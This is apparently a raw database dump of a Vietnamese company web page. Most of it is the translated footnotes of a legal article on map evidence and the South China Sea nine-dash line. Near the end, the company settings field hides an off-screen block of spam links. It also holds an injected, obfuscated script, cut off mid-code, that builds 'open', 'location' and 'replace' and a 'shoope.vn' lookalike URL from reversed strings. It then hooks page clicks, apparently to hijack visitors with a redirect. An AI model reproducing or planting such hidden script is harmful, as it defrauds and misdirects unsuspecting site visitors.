dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const 